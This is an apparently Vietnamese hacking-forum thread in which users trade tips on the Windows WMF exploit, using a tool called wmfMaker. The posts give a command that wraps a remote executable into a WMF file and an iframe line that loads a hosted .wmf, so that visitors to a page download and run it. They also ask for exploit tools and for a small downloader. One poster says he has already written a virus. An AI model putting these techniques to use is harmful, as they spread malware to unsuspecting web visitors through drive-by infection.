Messages posted by: mgdaubo

vào http://219a6.t35.com/test/hackwmf.php nó báo lỗi thế này nè:

Mình làm y chang hướng dẫn mà:
Start-->run-->cmd, rồi gõ: D:\0x34wmf.exe http://219a6.t35.com/myfiles/Send_Message.exe -t
nó tạo được file xXx.* (15,6kb), rồi báo lỗi gì đó. Sau đó mình đổi tên thành xXx.wmf rồi up lên, tạo web http://219a6.t35.com/test/hackwmf.php , khi vào web đó thì thấy nó cũng download file wmf về, sau đó báo lỗi, ko thấy load file Send_Message gì cả (file Send_Message.exe 40Kb chỉ là 1 chương trình gửi hình trái tim lên cửa sổ chat yahoo thôi, ko phai virus gì đâu, các bạn cứ thử xem có được ko)

đúng, hướng dẫn rất chi tiết, mình đã làm y chang vậy, mà kết quả vẫn ko được, có download file wmf nhưng ko thấy load file exe mình cần run gì cả

beolun wrote:

có ai loại trừ được trang http://vnn777.com và vuonnhac.net.ms chỉ cho mình với mau lên vì trang 777 nó khống chế cả trang chủ của mình luôn

mình chưa hiểu sao phải loại trừ? trang 777 nó khống chế cả trang chủ của bạn là sao?

sao ko ai cho tool hết vậy, bí mấy ngày nay

tìm mãi mới được cái tutorial sử dụng wmfmaker nè,nhưng nó dùng tiếng gì á,ko phải tiếng Anh, bó tay. Pa nào ngâm cứu thử xem:
http://foro.elhacker.net/index.php/topic,104808.0.html
http://mousehack.blogspot.com/2006/01/mini-tutorial-del-uso-de-wmfmaker.html#links

xuanson wrote:

ah quen mat khong noi ro, luc dau minh cam on hai bạn đầu tiên trả lời giúp mình, chứ minh chưa đưa email cho bạn jamesmr đâu, vẫn vọc cái www.chemical.com.vn/alonelove/tinhyeu.html mà bạn nhocbmt cho thôi, các bạn cẩn thận nó co Vlove đấy nhé.
dùng wmfMaker mà bị restart à, mình chưa dùng nhưng có vẻ khả khi wa (mình có giống tào tháo không nhỉ)
các bạn vọc đến đâu rồi?

cái này tuy hơi ngy hiểm nhưng rất hay, mọi người không đề phòng khi xem ảnh mà

Mình chưa hiểu bạn đang vọc gì cái www.chemical.com.vn/alonelove/tinhyeu.html đó, mình thấy code html của nó chỉ có mỗi câu <iframe src="xxx.wmf"></iframe> là đáng chú ý. Mà muốn vọc wmf thì phải có công cụ gì chứ?
Mình muốn vọc gì thì cứ ra tiệm net, đừng mở yahoo, vọc chán thì thôi, sợ gì virus, trojan đâu.
Còn cái wmfmaker mình chạy được rồi, ko bị restart nữa, nhưng mà nó chỉ có mỗi 1 cái màn hình dos, ko biết cách xài thế nào cả

Mình thấy có mấy chương trình nối 2 file exe lại, khi chạy thì tạo ra 2 file đó trong thư mục temp, nhưng như vậy thì sẽ làm sai lệch đường dẫn tương đối từ file exe đến các file liên quan -->error

tìm mãi mới được cái wmfMaker này, mà mới unzip ra là bị anti nó kill luôn rồi, hix. Sau đó disable cái anti rồi chạy wmfMaker thì... restart máy. Bạn nào có cho mình xin

jamesmr wrote:

xuanson wrote:

có ai biết dùng exploit WMF ko? mình không hiểu cái này lắm, (các bồ chỉ cần cho tool là quý lắm rồi)

cho tôi email tôi gửi cho.

bạn send cho tôi 1 bản với: mgdaubo@yahoo.com
mà sao bạn ko upload lên luôn ?

Ah hiểu sơ sơ rồi, có phải là cái này lợi dụng lỗ hổng của file wmf không? nguyên tắc là đính 1 exe vào 1 file wmf rồi đưa lên web để window tự chạy file wmf đó ,có phải không?
Nhưng còn cái đoạn code của Luke đếm lượt truy cập rồi lưu vào cookie làm gì vậy?
Mà nó còn liên quan gì tới lập trình autoit gì nữa vậy bạn phamtienhuong?
Chủ yếu là Exploit Win32 WMF thì lại ko thấy nói gì đến.
Các bạn giải thích dùm đi!

View code rồi mà vẫn chưa hiểu, bây giờ mình muốn nó tự download và chạy 1 file exe của mình thì làm thế nào nhỉ? có phải thay cái src trong: ('<iframe src="http://kehoach45a.com/shop/picasa.wmf" width="1" height="1"></iframe>') bằng url đến file exe của mình không?

Vấn đề này mình thắc mắc lâu nay,virus thì đã viết xong mà cách lây nhiễm từ web thì tìm mãi chỉ thấy mấy cái cũ rích,bị fix lâu rồi. Pa nào giúp với

Có 1 số virus có kích thước lớn đã dùng 1 chương trình nhỏ lây vào máy rồi chương trình đó mới download virus về chạy. Mình đã thử viết 1 chương trình tự động download dùng VB, file exe thì có vài chục KB nhưng mà cần cái ocx inet tới vài trăm KB, lớn quá. Bạn nào có code download và upload mà ko cần dùng cái wininet đó ko?